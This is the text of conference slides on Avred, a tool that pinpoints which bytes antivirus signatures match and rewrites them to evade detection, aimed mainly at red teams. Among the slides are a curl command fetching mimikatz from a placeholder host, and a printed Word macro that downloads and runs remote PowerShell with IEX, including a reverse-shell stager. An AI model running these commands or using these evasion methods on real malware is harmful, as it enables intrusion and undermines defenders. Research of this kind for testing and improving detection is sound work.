Cracking
the
Shield
Analyzing and
Reverse Engineering
Antivirus Signatures
Dobin Rutishauser
mastodon.social/@dobin
https://bit.ly/45h73JY
Our Signatures Are Bad
And We Should Feel Bad
About Me
Developer // TerreActive
Pentester // Compass Security
Developer // UZH
SOC Analyst // Infoguard
RedTeam Lead // Raiffeisen
SSL/TLS Recommendations�// OWASP Switzerland
Burp Sentinel - Semi Automated Web Scanner�// BSides Vienna
Automated WAF Testing and XSS Detection�// OWASP Switzerland Barcamp
Fuzzing For Worms - AFL For Network Servers�// Area 41
Develop your own RAT - EDR & AV Defense�// Area 41
Memory Corruption Exploits & Mitigations�// BFH - Bern University of Applied Sciences
Gaining Access�// OST - Eastern Switzerland University of Applied Sciences
3
Avred
Content
The scope and intro
Identifying matches
Bypass AV
Scanning, 11min
Background, 11min
Verifying, 15min
Augment & Outflank, 15min
01
02
03
04
Conclusion
What does it all mean, 5min
05
Make sure matches work
4
Avred
Project Websites
Try it yourself live:
Source:
Avred
Intro
Signatures
& Research Area
Intro: Signatures
This talk is about file signatures
Avred
Intro: Where are Signatures?
Content Filter / Proxy
AV
NIDS
AV
Client
AV
Mail Gateway
AV
Server
AV
Internet
8
Avred
Intro: Not Signatures
I talk about the
Anvirus part of Antivirus
software
Or: File scanning for malware
Not part of this talk:
Sandbox Execution
In-memory scanning
Heuristics
Behaviour based detection
EDR / EPP
Runtime AMSI
Avred
Intro: Signatures
https://www.cnet.com/news/privacy/new-antivirus-software-looks-at-behaviors-not-signatures/ (2009)
"The antivirus companies are flooded with malware to add to signature databases," with 20,000 to 30,000 new unique samples coming out every day, said Roger Thompson, chief research officer at AVG. "It's time to do something different."
Things to consider when creating or using signatures:
Avred
Intro: Why thinking about signatures?
Red Teaming:
Antivirus should not remove our shit
Blue Teaming:
Antivirus should remove all the malicious shit
Initial Access:
LNK, Docx with macros
C2 Implants:
CobaltStrike, Sliver
Tools:
Mimikatz, Seatbelt
Avred
Intro: RedTeaming
$ curl evil.ch/mimikatz.exe
$ ./mimikatz.exe
File not found
Avred
Intro: Anti-Signature
AV detects a tool - what to do?
Avred
Intro: Loader’s
Malware.exe
Malware.exe
Encrypted
Loader
Avred
Intro: Loader’s
Loader:
And: DLL Sideloading becomes a trend
Why not go back to the beginning,
and attack the signatures itself?
Avred
The good
old times
Antivirus
in the Age of
floppy disks
Oldschool Antivirus
Elk Cloner (1982) - Apple II
The Brain Virus (1986) - IBM
The Vienna Virus (1987) - Makro
Avred
Original Virus
Bacteria:
Virus:
Avred
Oldschool Virus
file.exe
Virus
Avred
Oldschool Virus
OrigFile.exe
Virus Encrypted
Loader
Virus
Virus Encrypted
Loader
Avred
Oldschool Virus
Virus Polymorphism:
x = x + 1
x = x + 100�x = x - 99
x ++
A = 10�B = 21�x = B - 2 * A
Avred
Polymorphism
Virus
Virus Encrypted
Key = “A”
Loader
Virus Encrypted
Key = “B”
lo4d3R
Polymorph loader
Re-encrypt payload
Avred
Oldschool Antivirus
Avred
AV anti-polymorphism detection:
https://www.youtube.com/watch?v=bKgf5PaBzyg
How to uninstall McAfee
Avred
AntiVirus REDucer
AntiVirus REDteaming
Inspiration: ThreatCheck
https://github.com/rasta-mouse/ThreatCheck (2019)
Takes a binary as input, splits it until it pinpoints that exact bytes that the target engine will flag on and prints them to the screen. This can be helpful when trying to identify the specific bad pieces of code in your tool/payload.
Avred
Inspiration: Avdebugger
Inspiration: “Automatically extracting static anti-virus signatures”
https://github.com/scrt/avcleaner/�https://github.com/scrt/avdebugger�https://blog.scrt.ch/2020/06/19/engineering-antivirus-evasion/
Avred
Inspiration: Avdebugger
Avdebugger shortcomings:
Question: AV really only detects strings in data sections?
Avred: a better ThreatCheck
Goal: Identify which parts of a file get identified by the AV
Goal: Make it as easy as possible to make the file undetected
Avred
Avred
Reducer
Scan file for matches
Reducer
Reducer
Matches
file.exe
AV Oracle
Avred
AMSI: Accessing Antivirus
Installed AV
Windows AMSI
File
hResult = AmsiInitialize(APP_NAME, &amsiContext);
hResult = AmsiOpenSession(amsiContext, &session);
hResult = AmsiScanBuffer(amsiContext,
content, contentSize, fname, session, &amsiRes);
Process
File
Avred
AMSI as a Web Service
Reducer
Avred-Server
HTTP REST
Antivirus
AMSI
Matches
Mimikatz.exe
SharpUp.exe
file.exe
Avred
Avred: Reducer
Avred
Reducer Algorithm: Divide and Conquer
1
2
3
4
5
6
File
Detected
Detected
Detected
Overwritten 0x00
Avred
Reducer: Matches
Match 0: 1000-1100
Match 1: 2000-3000
Match 2: 4000-4040
File
Avred
Reducer: Matches
Match:
Show hex dump of match
Avred
Avred
Usage
How to use it
Demo: Make undetected
Demo:
Avred
Demo: Obfuscate SharpUp
Avred
Demo: Obfuscate SharpUp
Avred
Demo: Obfuscate SharpUp
Avred
Reducer
Summary:
Avred
Reducer
Challenges
Scan Problems
& Solutions
Reducer Improvement: File Structure
.EXE are in PE format
PE files have headers and sections
Sections are either code (.text) or data (.data)
Assumption:
No detections in headers
No “fuzzing” of headers, they need to stay intact
Avred
Reducer Improvement: File Structure
Section Detection: Zero section
Hide: .text -> Detected: True
Hide: .rdata -> Detected: False
Hide: .data -> Detected: True
Hide: .pdata -> Detected: True
Hide: _RDATA -> Detected: True
Hide: .rsrc -> Detected: True
Hide: .reloc -> Detected: True
1 section(s) trigger the antivirus independantly
section: .rdata
Launching bytes analysis on section: .rdata
(96768-143360)
Avred
Reducer Improvement: File Structure
Scanning for matches...
Section Detection: Zero section (leave all others intact)
Hide: .text -> Detected: False
Hide: .data -> Detected: True
Hide: .rdata -> Detected: False
Hide: .pdata -> Detected: True
Hide: .xdata -> Detected: True
Hide: .idata -> Detected: False
Hide: .CRT -> Detected: True
Hide: .tls -> Detected: True
Hide: .rsrc -> Detected: True
Hide: .reloc -> Detected: True
Hide: Header -> Detected: False
3 section(s) trigger the antivirus independantly
section: .text
section: .rdata
section: .idata
Launching bytes analysis on section: .text (1024-58368)
Avred
Reducer Improvement: File Structure
Avred
Reducer Improvements: Section analysis
Goal: Find PE sections which make file undetected if overwritten
No sections found?
Avred
Reducer Improvements
Other things to consider when reducing:
Avred
Verifier
Improving Results
Verifier
Reducer
Matches
Verifier
file.exe
Avred
Verifier
Verifier goes through the matches again to make sure they work
Most important test: #2
Fully Overwrite Match X -> Still Detected?
Avred
Verifier: The hunt for dominance
Match 0: 1000-1100
File: Matches
File: Match #0, Test:2
File with
Overwritten match 0
Detected?
Avred
Verifier: Tests
Match 1
Match 2
Match 3
Test 1
Test 2
Test 3
Match
Conclusion
Match
Conclusion
Match
Conclusion
Signature
Conclusion
Avred
Verifier Example: Weak Signature (Dominant Matches)
Avred
Verifier Example: Weak Signature (Dominant Matches)
Avred
Verifier Example: Weak Signature (Non-Dominant Matches)
Avred
Verifier: Robust signature
Avred
Verifier: Signature Categorization
Signature type:
Reversing of (yara) rule / boolean formula
Avred
Verifier: Match & Signature Overview
Avred
Verifier: Interpretation
Match conclusion for RedTeamer:
Green
Grey
Red
Dominant :-)
Robust :-(
Weak :-|
Avred
Verifier: Demo
Demo:
Avred
Yara
Yara Rules
YARA: AND (Fragile)
Avred
YARA: ALL (Fragile)
Avred
YARA: ANY (OR)
Avred
YARA: 2 of 3
Avred
Yara: Code wildcards in signature
Avred
Yara
Yara-Signator
https://yaraify.abuse.ch/yarahub/rule/win_qakbot_malped/
Avred
Avred
Summary
Avred
Verifying
the
Verifier
Realistic Testing
with AV’s
Verifying the Verifier
Lets perform some tests with real-life AV
Just fully overwrite complete dominant matches
Download file with different browsers
See whats happening
Note:
Avred
Verifying the Verifier
Demo:
Avred
Verifying the verifier
What | Defender Chrome +CDP | Defender Firefox +CDP | Defender Firefox -CDP | Defender Chrome -CDP | AVG Chrome | Avira Firefox |
Seatbelt.exe Match #0 | D | ND | ND | ND | ND | ND |
D: Detected
ND: Not detected
CDP: Cloud Delivery Protection
Avred
AV: AVG
Demo: AVG
Avred
AV: Avira
Demo: Avira
Avred
AV Defender: Firefox
Demo
Defender
Firefox
Cloud-Delivered Protection
Result:
Not detected
Avred
AV Defender: Chrome
Demo
Defender
Chrome
NO Cloud Delivered Protection
Result:
Not detected
Avred
AV Defender: Chrome + Cloud-Delivered protection
Demo
Defender
Chrome
Cloud-Delivered protection
Result:
Detected
Avred
Avred: Outflank in Real-Life: Defender
Strong:
Weak:
Avred
Augmentation
Add information
to matches
Augmentation
Reducer
Matches
Verifier
file.exe
Augmentation
Avred
Avred
Augmentation
We only have hexdumps
Which match is easiest to change?
Avred
Augmentation
EXE PE
Augmentation: PE EXE
Simple EXE:
Avred
Code vs. Data
char a = “Test”;
for(int n=0; n<0xFF; n++) {
log(“Error: “);
}
Data
Code (.text)
Avred
Augmentation: PE EXE
Disassemble matches to get code
Avred
Augmentation: PE EXE
DOS header
NT header
Section headers
.text
.data
.rsrc
File / Harddisk
0
0x1000
Avred
Augmentation: PE EXE
DOS header
NT header
Section headers
.text
.data
.rsrc
File / Harddisk
.text
.data
Memory / RAM
0
0x1000
0
0xFFFFFFFF
Avred
Augmentation: PE EXE
Dos header
Nt header
Section headers
.text
.data
.rsrc
.text
File
0x400000
0x400
Memory / RAM / Virtual Address Space
Avred
Augmentation: PE EXE
Dos header
Nt header
Section headers
.data
.rsrc
File
0x400000
Match
0x400
Memory / RAM / Virtual Address Space
Match
Avred
Augmentation: PE EXE
Dos header
Nt header
Section headers
.data
.rsrc
File
0x400000
Match
0x400123
0x523
0x400
Memory / RAM / Virtual Address Space
Match
Avred
Augmentation: PE EXE
Dos header
Nt header
Section headers
.text
.data
.rsrc
File
Match
Avred
PE EXE
Demo: PE Disassembly
Avred
Augmentation: PE EXE
Result: Disassembly of matches
Allows to identify which part of the “Virus” is being identified
As a RedTeamer:
Avred
Augmentation
EXE PE DotNet
Augmentation: PE DotNet
DotNet:
c# source
.cs
CIL in .dll/.exe
Machine Code
CSC Compiler
JIT Compiler
Avred
Augmentation: PE DotNet
Dos header
Nt header
Section headers
CLI Header
Signature
[ Methods ]
CLR Metadata Header
Streams Header
Streams Data
.text
.rsrc
.reloc
Avred
Augmentation: PE DotNet
Dos header
Nt header
Section headers
CLI Header
Signature
[ Methods ]
CLR Metadata Header
Streams Header
Streams Data
.text
.rsrc
.reloc
Method Header
Method Code
Method Header
Method Code
Avred
Augmentation: PE DotNet
Example dotnet disassembly output with ilspy (C#):
ilspycmd -il test.dll
.method private hidebysig static void '<Main>$' (string[] args) cil managed {
// Method begins at RVA 0x2086
// Header size: 1
// Code size: 13 (0xd)
.maxstack 8
IL_0000: ldstr "a"
IL_0005: ldc.i4.2
IL_0006: call int32 Program::'<<Main>$>g__MyMethod|0_0'(string, int32)
IL_000b: pop
IL_000c: ret
}
Avred
Augmentation: PE DotNet
Dos header
Nt header
Section headers
CLI Header
Signature
<Functions>
CLR Metadata Header
Streams Header
Streams Data
.text
.rsrc
.reloc
Method Header
Method Code
Method Header
Method Code
RVA Addresses
Avred
Augmentation: PE DotNet
Used ilspy first
Wrote a parser for DotNet headers to resolve RVA
Later:
Avred
Augmentation: PE DotNet
Avred
Augmentation: PE DotNet
Dos header
Nt header
Section headers
CLI Header
Signature
<Functions>
CLR Metadata Header
Streams Header
.text
.rsrc
.reloc
Stream: #~
Stream: #Strings
Stream: #US
Stream: #Blob
Avred
Augmentation: PE DotNet
Streams:
#~ | Metadata stream |
#Strings | Namespace, type & member names |
#US | User string, from code |
#GUID | GUID’s |
#Blob | Binary data |
Avred
Augmentation: PE DotNet
Dos header
Nt header
Section headers
CLI Header
Signature
<Functions>
CLR Metadata Header
Streams Header
.text
.rsrc
.reloc
TypeDef’s
MethodDef’s
…
Stream: #~
Stream: #Strings
Stream: #US
Stream: #Blob
#~ Metadata Stream
Avred
Augmentation: PE DotNet
Metadata Stream #~
Avred
Augmentation: PE DotNet
Metadata Stream #~
Avred
Augmentation
Word
Augmentation: Office
Office files:
Avred
Word Makro Disassembly
% unzip P5-5h3ll.docm
Archive: P5-5h3ll.docm
inflating: [Content_Types].xml
inflating: _rels/.rels
inflating: word/_rels/document.xml.rels
inflating: word/document.xml
inflating: word/vbaProject.bin
inflating: word/_rels/vbaProject.bin.rels
inflating: word/theme/theme1.xml
inflating: word/vbaData.xml
inflating: word/settings.xml
inflating: docProps/app.xml
inflating: word/styles.xml
inflating: docProps/core.xml
inflating: word/fontTable.xml
inflating: word/webSettings.xml
Avred
Word Makro Disassembly
% python3 olevba.py -c avred/tests/data/word.docm.vbaProject.bin
olevba 0.60.1 on Python 3.9.6 - http://decalage.info/python/oletools
Public Sub Eval(ByVal sPSCmd As String)
CreateObject("WScript.Shell").Run sPSCmd, 0, True
End Sub
Private Sub Document_Open()
write_now = "powershell -c " & """Set-Content -Value 'Local Write PoC' -Path 'C:\tmp.txt'"""
write_staged = "powershell -c " & """$a = curl http://10.10.2" & "0.106:90" & "03/write; IE" & "X($a)"""
reshe_1 = "detected, see in _notes"
reshe_2 = "detected, see in _notes"
reshe_staged = "powershell -c " & """$a = curl http://10.10.2" & "0.106:90" & "03/reshe; IE" & "X($a)"""
cmd = reshe_staged
res = MsgBox(cmd, vbYesNo, "Continue?")
Avred
Word Makro Disassembly
% python3 olevba.py --show-pcode -c avred/tests/data/word.docm.vbaProject.bin
VBA/ThisDocument - 5150 bytes
Line #0:
FuncDefn (Public Sub Eval(ByVal sPSCmd As String))
Line #1:
Ld sPSCmd
LitDI2 0x0000
LitVarSpecial (True)
LitStr 0x000D "WScript.Shell"
ArgsLd CreateObject 0x0001
ArgsMemCall Run 0x0003
Line #2:
EndSub
Line #3:
Line #4:
FuncDefn (Sub Document_Open())
Line #5:
LitStr 0x000E "powershell -c "
Avred
Augmentation: Office
Avred
Augmentation: Office
Header
Chunk 1
Chunk 2
Chunk 3
Chunk 4
Section 1
Section 2
VbaProject.bin
OLE2 files (also called Structured Storage, Compound File Binary Format or Compound Document File Format)
representing linked objects and embedded objects within container documents.
Avred
Augmentation: Office
Header
Chunk 3
Chunk 1
Chunk 2
Chunk 4
Section 1
Section 2
Avred
Augmentation: Office
Header
Mini Chunk 1
Mini Chunk 2
Mini Chunk 3
Mini Chunk 4
Chunk 2
Chunk 1
Avred
Augmentation: Office
Header
Mini Chunk 7
Mini Chunk 4
Mini Chunk 1
Mini Chunk 3
Chunk 2
Chunk 1
Mini Chunk 5
Mini Chunk 2
Mini Chunk 6
Mini Chunk 5
Avred
Augmentation: Demo
Reading the source of
https://github.com/decalage2/olefile
https://github.com/decalage2/oletools
To calculate the file offset of a word VRA
made me cry
Multi billion $ cyber industry identifying malware
decalage2
Avred
Augmentation: Why
Green
Grey
Red
Dominant :-)
Robust :-(
Weak :-|
Match 0
Match 2
Match 3
Match 1
Avred
Findings
Statistics
Findings: Test Files
Languages used in Red Teaming:
Avred
Findings: ThreatCheck Comparison
ThreatCheck:
Avred
PE: Signatures in which sections?
PE:
60% Data
40% Code
Section | Matches Cnt |
.text | 298 |
.idata | 196 |
.rdata | 131 |
.data | 116 |
.rsrc | 10 |
Avred
PE DotNet: Signatures in which sections?
DotNet:
Mostly Data:
#Strings
#~ Metadata
Mostly MethodDef
Not so much Code
Section | Matches Cnt |
#Strings | 500 |
#~ | 580 |
methods | 167 |
.rsrc | 85 |
Blob | 80 |
#US | 20 |
guid | 8 |
Avred
Findings
Only Code | Only Data | Code & Data |
10% | 45% | 45% |
Avred
Findings: RedTeaming tools
Word:
Avred
Outflank
Automatic
signature breaker
Augmentation
Reducer
Matches
Verifier
file.exe
Augmentation
Outflank
Avred
Outflank - Signature Breaker
Use matches to break signature
Modify code/data as defined in matches matches to break signature
“Obfuscation”
https://unprotect.it/technique/code-cave/
A code cave is a series of null bytes in a process's memory. The code cave inside a process's memory is often a reference to a section of the code’s script functions that have capacity for the injection of custom instructions.
Avred
Outflank: NOP
Avred
Outflank: NOP
PE EXE Obfuscator
Nerding about NOP sleds on x64
Avred
Outflank: Swap
E8 69 05 00 00 8b f0 33 ff 39 e3
E8 69 05 00 00 33 ff 8b f0 39 e3
Avred
Outflank: Swap
PE EXE Obfuscator with swapping lines
Avred
Outflank: Swap: R2 ESIL
> e scr.color=0
> pdJ <size> @loc
"offset": 4204128,
"opcode": "xchg eax, esi",
"disasm": "xchg eax, esi",
"esil":
"eax,esi,^,esi,=,esi,eax,^,
eax,=,eax,esi,^,esi,=",
"refptr": false,
"fcn_addr": 0,
"fcn_last": 0,
"size": 1,
"bytes": "96",
"family": "cpu",
"type": "mov",
"reloc": false,
"type_num": 9,
"type2_num": 0
Avred
Outflank: DotNet Method Header
Augmentation gives us byte-level interpretation of the match
Remember: DotNet methods have a header:
Avred
Outflank: DotNet Method Header
Augmentation gives us byte-level interpretation of the match
Method header: max-stack size
Changing it: Not much luck
Avred
Outflank: Demo
<Show Outflank’able files & patches>
Avred
Outflank: DotNet ideas
Proposed DotNet Obfuscator:
https://github.com/obfuscar/obfuscar
https://github.com/NotPrab/.NET-Obfuscator
https://github.com/xforcered/InvisibilityCloak
https://github.com/yck1509/ConfuserEx (abonded)
https://github.com/XenocodeRCE/neo-ConfuserEx (abonded too)
Section | Matches Cnt |
#Strings | 500 |
#~ | 580 |
methods | 167 |
.rsrc | 85 |
Blob | 80 |
#US | 20 |
guid | 8 |
Avred
A note on obfuscators
Many different interpretations of “obfuscation”
Signature-breaker is different
Avred
Conclusion
…
Conclusion
Reducer
Matches
Verifier
file.exe
Augmentation
Outflank
Avred
Conclusion: Reducer
Reducer:
Avred
Signature Quality
Signature Quality:
Avred
Conclusion: AV
AV Conclusion:
Avred
Conclusion: Outflank
Outflanking:
Avred
Better Signatures
Better signatures
However, it is important to stress that low-cost detections are typically low cost to evade. YARA signatures generally can be thought of as having vast breadth but with limited depth (i.e. they are relatively quick and low cost to churn out/automate but have limited robustness for long term detection efficacy).
https://www.cobaltstrike.com/blog/cobalt-strike-and-yara-can-i-have-your-signature/
Avred
Furter Research
Further research:
Avred
CI/CD
Runtime executor:
Avred
Countermeasure
Detect activity, not tools
Avred
Avred